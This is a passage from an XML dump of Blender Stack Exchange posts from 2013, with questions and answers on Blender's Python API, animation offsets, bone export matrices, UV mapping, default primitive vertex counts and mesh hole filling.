values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Sq3D0.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sq3D0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Found a better implementation done directly in Cycles. The old BI node setup can be found &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?146832-Fakey-Iridescence-Material-%28nodes%29&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2015-10-25T06:43:59.997" LastActivityDate="2015-10-25T06:43:59.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1729" PostTypeId="1" CreationDate="2013-07-09T04:03:21.253" Score="2" ViewCount="75" Body="&lt;p&gt;Is it possible to print message to the info view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Mac OS,Blender2.6.7.&#xA;thank you.&lt;/p&gt;&#xA;" OwnerUserId="918" LastActivityDate="2013-07-09T04:03:21.253" Title="Is it possible to print message to the info view?" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2013-07-09T04:06:04.057" ContentLicense="CC BY-SA 3.0" />
  <row Id="1731" PostTypeId="1" AcceptedAnswerId="1732" CreationDate="2013-07-09T08:44:19.013" Score="9" ViewCount="145" Body="&lt;p&gt;I did applink for 3dCoat app. I set Export directory manually. At present, i should set the directory in every blend scene. But i would like to set the directory path only one time and store it aways in cache. Is it possible to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            exchangedir = StringProperty(&#xA;            name=&quot;FilePath&quot;,&#xA;            subtype=&quot;DIR_PATH&quot;&#xA;        )&#xA;.....&#xA;&#xA;row.prop(simple3Dcoat, &quot;exchangedir&quot;, text=&quot;ExchangeDir&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be cool to store &quot;exchangedir&quot; string in cache. So that it will be always the same for all blend files. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="228" LastEditDate="2013-07-10T15:07:43.107" LastActivityDate="2013-07-10T15:07:43.107" Title="Storing preferences without having properties in every scene?" Tags="&lt;scripting&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1732" PostTypeId="2" ParentId="1731" CreationDate="2013-07-09T08:56:15.843" Score="9" Body="&lt;p&gt;This sounds like you would want to have a user-preference for the addon,&#xA;Blender supports this through &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.AddonPreferences.html&quot;&gt;&lt;code&gt;bpy.types.AddonPreferences&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, the addon can have settings that are saved with the user defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;API docs include example usage.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-09T08:56:15.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1734" PostTypeId="1" AcceptedAnswerId="1737" CreationDate="2013-07-09T09:55:52.680" Score="7" ViewCount="3398" Body="&lt;p&gt;I have grouped together (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;) aome animated meshes (9 of them) and I have used the graph editor (F-curve modifier) to cycle them through my animation but is there a way to offset them so they move at different intervals to create a more realistic effect. Cheers.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="12" LastEditDate="2013-07-09T15:01:55.950" LastActivityDate="2020-07-04T00:05:43.597" Title="Offsetting animation" Tags="&lt;animation&gt;&lt;graph-editor&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1735" PostTypeId="2" ParentId="84" CreationDate="2013-07-09T10:39:14.477" Score="2" Body="&lt;p&gt;partial answer (pdf snapshot):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done wiki manual &gt; pdf several times in the past. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;last update is form july 1st 2013, so quite up to date I hope...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont'know how to link this pdf from blender itself but it would be great...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;last conversion is here&#xA;&lt;a href=&quot;https://archive.org/details/BlenderWikiManualPdf20130701&quot; rel=&quot;nofollow&quot;&gt;https://archive.org/details/BlenderWikiManualPdf20130701&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you care, details, updates and future versions (links) will be posted around here, atm:&#xA;&lt;a href=&quot;http://amrc.altervista.org/nuova-versione-del-blender-wiki-manual-pdf/&quot; rel=&quot;nofollow&quot;&gt;http://amrc.altervista.org/nuova-versione-del-blender-wiki-manual-pdf/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--dec 2015 edit--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even forgot I wrote this answer in 2013... : latest version of that PDF was november 2014, &lt;a href=&quot;https://archive.org/details/BlenderWikiPDFManual&quot; rel=&quot;nofollow&quot;&gt;https://archive.org/details/BlenderWikiPDFManual&lt;/a&gt;&#xA;then the wiki freezed... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, a year later, there is an official downloadable html manual from the manual page at &lt;a href=&quot;http://www.blender.org/manual&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/manual&lt;/a&gt;, the direct link atm is &lt;a href=&quot;http://www.blender.org/manual/blender_manual.zip&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/manual/blender_manual.zip&lt;/a&gt;. A PDF version is (weirdly) still to be generated from that manual system, but I'll try soon to again generate periodically a PDF from this official html for anyone to share, somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marco&lt;/p&gt;&#xA;" OwnerUserId="919" LastEditorUserId="919" LastEditDate="2015-12-15T08:41:37.423" LastActivityDate="2015-12-15T08:41:37.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1736" PostTypeId="2" ParentId="84" CreationDate="2013-07-09T12:25:54.847" Score="4" Body="&lt;p&gt;There are many download managers (such as wget) that can crawl the wiki and make a local copy (could also be scripted via python). But make sure your use case is covered by &lt;a href=&quot;https://en.wikipedia.org/wiki/Fair_use&quot; rel=&quot;nofollow noreferrer&quot;&gt;fair use&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For integration you'll need to override the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.wm.html?highlight=wm.doc_view#bpy.ops.wm.doc_view&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.ops.wm.doc_view&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.wm.html?highlight=wm.doc_view#bpy.ops.wm.doc_view_manual&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.ops.wm.doc_view_manual&lt;/a&gt; classes to load from a local &lt;a href=&quot;https://blender.stackexchange.com/a/1732/290&quot;&gt;configured path&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-07-09T13:47:45.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1737" PostTypeId="2" ParentId="1734" CreationDate="2013-07-09T13:19:45.170" Score="6" Body="&lt;p&gt;Animate one of the objects. Then select all other objects, selecting the first animated object last (so that it's active) and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; &gt; Animation Data. This will make all those objects use the same &quot;Action&quot; for animation. Then in the NLA editor you can move these actions around per object to offset the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems tedious, so there's probably an addon that does most of this stuff for you (?)&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-07-09T13:19:45.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1738" PostTypeId="2" ParentId="1734" CreationDate="2013-07-09T14:47:27.917" Score="8" Body="&lt;p&gt;Another way. You can animate one of the objects, make it parent for the second, the second parent of the third....in the Properties Editor (Object Tab) of each child, check the Slow Parent option in the Relation Extras panel and type number in &quot;offset&quot;.&#xA;An example: &lt;a href=&quot;https://www.youtube.com/watch?v=fbSUJcsem8c&quot;&gt;slow parent&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full tutorial and more: &lt;a href=&quot;http://blendersushi.blogspot.fr/2013/03/random-many-of-blender-hidden-features.html&quot;&gt;other link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="9" LastEditDate="2013-07-10T06:28:46.263" LastActivityDate="2013-07-10T06:28:46.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1739" PostTypeId="1" AcceptedAnswerId="1746" CreationDate="2013-07-09T15:08:04.810" Score="5" ViewCount="2691" Body="&lt;p&gt;I'm new to blender and even newer to animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was working on animating my enemy model for the game I'm developing and everything went fine with the right leg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I went to edit the left leg, I discovered that it wasn't being saved in the keyframe for some reason and instead was edited so every frame has the left leg in the air. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The record button is on but nothing seems to be making it move into the air. The right leg edits without a hitch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame 20:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L42Eb.png&quot; alt=&quot;Keyframe 20&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame 40:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qnroe.png&quot; alt=&quot;Keyframe 40&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this could be happening? &lt;/p&gt;&#xA;" OwnerUserId="920" LastEditorUserId="599" LastEditDate="2014-01-28T08:36:13.520" LastActivityDate="2014-01-28T08:36:13.520" Title="Keyframe not animating bone from initial position?" Tags="&lt;animation&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1740" PostTypeId="1" AcceptedAnswerId="1744" CreationDate="2013-07-09T15:48:29.000" Score="11" ViewCount="4667" Body="&lt;p&gt;I'm currently writing an exporter script. So far, I can export meshes just fine, but I've got some problems with exporting the armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the python api, there are three different types of bones:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;editbones&lt;/strong&gt;: Are used to create/modify the armature/skeleton and are only available in edit mode. See &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.EditBone.html&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.EditBone.html&lt;/a&gt; (which, obviously, aren't needed for exporting animation. I just list them for completeness.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;bones&lt;/strong&gt;: Define the armature structure. See &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Bone.html&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Bone.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;posebones&lt;/strong&gt;: Are used for animation. The posebones are structured like the bones of the armature, but transformed according to the current frame of the active action/pose. See &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.PoseBone.html&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.PoseBone.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's also this old (or rather: ancient) guide on how armatures work: &lt;a href=&quot;http://www.blender.org/development/release-logs/blender-240/how-armatures-work&quot;&gt;http://www.blender.org/development/release-logs/blender-240/how-armatures-work&lt;/a&gt; , but I can't find a proper mapping between that document and the current api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can get the &lt;strong&gt;restpose&lt;/strong&gt; of the armature by grabbing the &lt;strong&gt;bone.matrix_local&lt;/strong&gt;, but &lt;strong&gt;this matrix is relative to the armature&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...&#xA;&lt;strong&gt;How do you grab the bones matrices so that the transform is relative to the parent instead of relative to the armature?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I tried&lt;/strong&gt; exporting the bones relative to their parent by multiplying the inverse of the parents matrix_local by the bones matrix_local, but that does seem to result in &lt;strong&gt;incorrect translation&lt;/strong&gt; values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I currently grab the parent-relative matrices:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        #I'm interested in the rest pose here, so I iterate over the bones&#xA;        for bone in armature.data.bones:                &#xA;            #make matrix of this bone relative&#xA;            boneMat = mathutils.Matrix.Identity(4)&#xA;            if bone.parent == None:&#xA;                boneMat = bone.matrix_local&#xA;            else:&#xA;                boneMat = bone.parent.matrix_local.inverted() * bone.matrix_local&#xA;&#xA;            #decompose&#xA;            loc, quat, sca = boneMat.decompose()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way: I'm using blender 2.66.1 w/the included python&lt;/p&gt;&#xA;" OwnerUserId="129" LastActivityDate="2018-10-06T01:17:20.677" Title="How do you export bones relative to parent?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;export&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1741" PostTypeId="2" ParentId="1718" CreationDate="2013-07-09T16:33:43.750" Score="8" Body="&lt;h1&gt;Render all frames of the selected object(s) that have a keyframe:&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import bpy&#xA;&#xA;original_frame = bpy.context.scene.frame_current&#xA;output_path = bpy.context.scene.render.filepath&#xA;start = bpy.context.scene.frame_start&#xA;end = bpy.context.scene.frame_end&#xA;frames = []&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;    for fcurve in obj.animation_data.action.fcurves:&#xA;        for keyframe_point in fcurve.keyframe_points:&#xA;            x, y = keyframe_point.co&#xA;            if x &amp;gt;= start and x &amp;lt;= end and x not in frames:&#xA;                frames.append(x)&#xA;&#xA;for frame in frames:&#xA;    bpy.context.scene.frame_current = frame&#xA;    bpy.context.scene.render.filepath = os.path.join(output_path, &quot;%05d&quot; % frame)&#xA;    bpy.ops.render.render(write_still=True)&#xA;&#xA;bpy.context.scene.frame_current = original_frame&#xA;bpy.context.scene.render.filepath = output_path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-07-10T10:28:44.430" LastActivityDate="2013-07-10T10:28:44.430" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1742" PostTypeId="5" CreationDate="2013-07-09T16:38:40.710" Score="0" Body="&lt;p&gt;Copy right type/reuse permissions&lt;/p&gt;&#xA;" OwnerUserId="922" LastEditorUserId="922" LastEditDate="2013-07-09T16:42:12.477" LastActivityDate="2013-07-09T16:42:12.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1743" PostTypeId="4" CreationDate="2013-07-09T16:38:40.710" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-09T16:38:40.710" LastActivityDate="2013-07-09T16:38:40.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1744" PostTypeId="2" ParentId="1740" CreationDate="2013-07-09T18:56:59.360" Score="8" Body="&lt;p&gt;The code snippet you give seems to be correct if you want the transform from the head of the parent bone to the head of the child bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the translation incorrect? There are supposed to be two translations between these bones, one from the head of the parent to its tail, and (if the child is not connected to the parent) one from the tail of the parent to the head of the child.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 2.40 armatures guide, &lt;code&gt;bone.matrix&lt;/code&gt; is &lt;code&gt;bone_mat&lt;/code&gt; and &lt;code&gt;bone.matrix_local&lt;/code&gt; is &lt;code&gt;arm_mat&lt;/code&gt;. This is how they relate in python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# parent head to tail, and parent tail to child head&#xA;bone_translation = Matrix.Translation(Vector((0, bone.parent.length, 0)) + bone.head)&#xA;# parent armature space matrix, translation, child bone rotation&#xA;bone.matrix_local == bone.parent.matrix_local * bone_translation * bone.matrix.to_4x4()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2013-07-09T21:35:01.710" LastActivityDate="2013-07-09T21:35:01.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1745" PostTypeId="1" CreationDate="2013-07-09T21:49:58.913" Score="10" ViewCount="1382" Body="&lt;p&gt;I wanted to know whether there is a way to set the default amount of vertices of added geometry (Such as default circles and cylinders) ? &#xA;Changing the amount from 32 can get quite annoying as I am working quite a lot with subdivision modeling...&lt;/p&gt;&#xA;" OwnerUserId="924" LastEditorUserId="12" LastEditDate="2013-07-29T12:49:13.850" LastActivityDate="2013-07-29T16:07:14.180" Title="How to set the default vertex count to added geometry?" Tags="&lt;mesh&gt;&lt;customization&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1746" PostTypeId="2" ParentId="1739" CreationDate="2013-07-09T22:23:58.000" Score="3" Body="&lt;p&gt;You need to set an &lt;em&gt;initial keyframe&lt;/em&gt; for any animated data, including armature bones, in the first frame. The &lt;code&gt;pelvis left&lt;/code&gt; bone is set to that position at frame &lt;strong&gt;40&lt;/strong&gt;, but because there's no keyframe before it, its position is interpolated all the way to the starting frame.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-07-09T22:23:58.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1747" PostTypeId="2" ParentId="1745" CreationDate="2013-07-09T23:07:15.037" Score="6" Body="&lt;p&gt;AFAIK it's already hardcoded into Blender, set as default value for each operators creating primitive objects like &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.mesh.html#bpy.ops.mesh.primitive_circle_add&quot; rel=&quot;nofollow noreferrer&quot;&gt;a circle&lt;/a&gt;. One way to get around this is to add new menu to access these operators, but with different default value. I made a sample code below, also downloadable &lt;a href=&quot;https://gist.github.com/adhihargo/5962151/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this code is put to a file, opened in Blender's text area and executed, or installed as an addon (after uncommenting &lt;code&gt;bl_info&lt;/code&gt; block), it will insert a new submenu to &lt;strong&gt;Add&lt;/strong&gt;, containing some primitive operators but with different default value upon execution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iFrfR.png&quot; alt=&quot;Low Vertex Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be simpler ways, but this is the only workaround I know.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# bl_info = {&#xA;#     &quot;name&quot;: &quot;Low Vertex Count Objects&quot;,&#xA;#     &quot;author&quot;: &quot;&quot;,&#xA;#     &quot;version&quot;: (1, 0),&#xA;#     &quot;blender&quot;: (2, 63, 0),&#xA;#     &quot;location&quot;: &quot;View3D &amp;gt; Add&quot;,&#xA;#     &quot;description&quot;: &quot;Add primitive object with low initial vertex count&quot;,&#xA;#     &quot;warning&quot;: &quot;&quot;,&#xA;#     &quot;wiki_url&quot;: &quot;&quot;,&#xA;#     &quot;tracker_url&quot;: &quot;&quot;,&#xA;#     &quot;category&quot;: &quot;Add Mesh&quot;}&#xA;&#xA;def custom_object_add(self, context):&#xA;    layout = self.layout&#xA;    layout.menu(&quot;INFO_MT_low_vertex_mesh_add&quot;, icon='PLUGIN')&#xA;&#xA;class INFO_MT_low_vertex_mesh_add(bpy.types.Menu):&#xA;    bl_idname = &quot;INFO_MT_low_vertex_mesh_add&quot;&#xA;    bl_label = &quot;Low Vertex Mesh&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        prop = layout.operator(&quot;mesh.primitive_circle_add&quot;, icon='MESH_CIRCLE', text=&quot;Circle (12)&quot;)&#xA;        prop.vertices = 12&#xA;&#xA;        prop = layout.operator(&quot;mesh.primitive_cone_add&quot;, icon='MESH_CONE', text=&quot;Cone (12)&quot;)&#xA;        prop.vertices = 12&#xA;&#xA;        prop = layout.operator(&quot;mesh.primitive_cylinder_add&quot;, icon='MESH_CYLINDER', text=&quot;Cylinder (12)&quot;)&#xA;        prop.vertices = 12&#xA;&#xA;        prop = layout.operator(&quot;mesh.primitive_uv_sphere_add&quot;, icon='MESH_UVSPHERE', text=&quot;UV Sphere (8x4)&quot;)&#xA;        prop.segments = 8&#xA;        prop.ring_count = 4&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.INFO_MT_add.append(custom_object_add)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    bpy.types.INFO_MT_add.remove(custom_object_add)&#xA;&#xA;if __name__ == '__main__':&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-07-10T02:34:58.947" LastActivityDate="2013-07-10T02:34:58.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1748" PostTypeId="1" AcceptedAnswerId="1749" CreationDate="2013-07-10T00:53:55.910" Score="3" ViewCount="522" Body="&lt;p&gt;If I import a Stanford ply mesh, scale it using &lt;kbd&gt;S&lt;/kbd&gt;, export it, and import it again, the mesh data hasn't actually changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use blender to scale the vertices contained in mesh data, and export them correctly &lt;em&gt;or&lt;/em&gt; preserve the scale of the model?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="12" LastEditDate="2013-07-10T03:51:56.743" LastActivityDate="2013-07-10T11:46:41.597" Title="Preserving the size of an object" Tags="&lt;mesh&gt;&lt;export&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1749" PostTypeId="2" ParentId="1748" CreationDate="2013-07-10T01:19:36.323" Score="2" Body="&lt;p&gt;I was unable to reproduce the case you mentioned above as &lt;strong&gt;&lt;em&gt;all exporters bundled with Blender will always apply the scale on export&lt;/em&gt;&lt;/strong&gt; and in some cases, you can choose to apply the modifiers and other things as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You more than likely missed or changed something or it is a bug, try updating the version of Blender you are using.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="55" LastEditDate="2013-07-10T11:46:41.597" LastActivityDate="2013-07-10T11:46:41.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1750" PostTypeId="1" CreationDate="2013-07-02T02:43:59.950" Score="8" ViewCount="6760" Body="&lt;p&gt;I have an error with UV mapping where it looks fine until I actually render it or throw it into a program that renders it. I'm not sure what the issue is because I hardly ever use blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it should look like: (the mapped image is for testing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4aTCh.png&quot; alt=&quot;http://i.imgur.com/mNHfyRP.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it actually renders like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2TjH8.png&quot; alt=&quot;http://i.imgur.com/FIDjkAB.png&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="jamolnng" LastEditorUserId="12" LastEditDate="2013-07-10T04:28:30.043" LastActivityDate="2013-09-28T00:11:09.910" Title="Blender UV mapping error" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1751" PostTypeId="2" ParentId="1750" CreationDate="2013-07-10T04:44:18.347" Score="7" Body="&lt;p&gt;UVs will always show well in the &lt;em&gt;3d view&lt;/em&gt;, they only come out wrong when rendered as the textures more than likely weren't configured properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oER4Gm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3rP9lm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like your mapping is set to &lt;em&gt;Generated&lt;/em&gt; or something else possibly. You can fix this by going to the texture tab and under &lt;em&gt;Mapping&lt;/em&gt;, select &lt;em&gt;UV&lt;/em&gt; from the &lt;em&gt;Coordinates&lt;/em&gt; list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AUhYF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be safe, you can also create a uvmap or use the auto-generated one under &lt;em&gt;UV Maps&lt;/em&gt; in the &lt;em&gt;Object Data&lt;/em&gt; panel and select it in the texture tab under &lt;em&gt;Mapping&lt;/em&gt; once you have changed to those coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jZuuIm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nW9ne.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-09-28T00:11:09.910" LastActivityDate="2013-09-28T00:11:09.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1752" PostTypeId="1" AcceptedAnswerId="1753" CreationDate="2013-07-10T09:25:29.430" Score="4" ViewCount="326" Body="&lt;p&gt;Sorry but I didn't found where to change the default color for relationship lines (for constraints and parents) among Theme settings. Since I really really need to do so in the current project. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="12" LastEditDate="2013-07-10T11:11:06.043" LastActivityDate="2013-07-10T11:11:06.043" Title="Can I change the default color for Relationship Lines?" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1753" PostTypeId="2" ParentId="1752" CreationDate="2013-07-10T09:44:37.600" Score="1" Body="&lt;p&gt;Yes you can, but not on their own, this uses the themes wire color which is also used for many other unselected wire-frame data in the view-port. (See: 3D View -&gt; Wire)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-07-10T09:56:58.293" LastActivityDate="2013-07-10T09:56:58.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1754" PostTypeId="1" AcceptedAnswerId="1755" CreationDate="2013-07-10T10:17:15.530" Score="16" ViewCount="93680" Body="&lt;p&gt;I have this bit of wall here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1pyFzm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it is a window frame and I want the hole between the wall and the frame to be filled. I have searched it on youtube and so on but all I can find is tutorials for creating circular holes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help!&lt;/p&gt;&#xA;" OwnerUserId="928" LastEditorUserId="12" LastEditDate="2013-07-10T10:44:41.990" LastActivityDate="2020-03-19T21:01:40.870" Title="How to fill a hole in face?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1755" PostTypeId="2" ParentId="1754" CreationDate="2013-07-10T10:59:51.750" Score="16" Body="&lt;p&gt;There is no one set way to do this. It depends on what you are going for, what you are modeling or any special cases you are adhering to, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case here, since you have basically two flat surfaces, you can add supporting edge loops to the outer mesh and join the matching edges together by selecting the edgeloops and manually filling each one with &lt;kbd&gt;F&lt;/kbd&gt;, the images differ a bit but I think you get the point. &lt;em&gt;(Also, your flat outer mesh does not seem to need so many loops at the moment, you can remove some.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uKKD6.png&quot; alt=&quot;Manually Filled&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example above you can also bridge the two edge loops by using &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; &gt; &lt;em&gt;Bridge Edge Loops&lt;/em&gt; after selecting the outer and inner edges to connect. 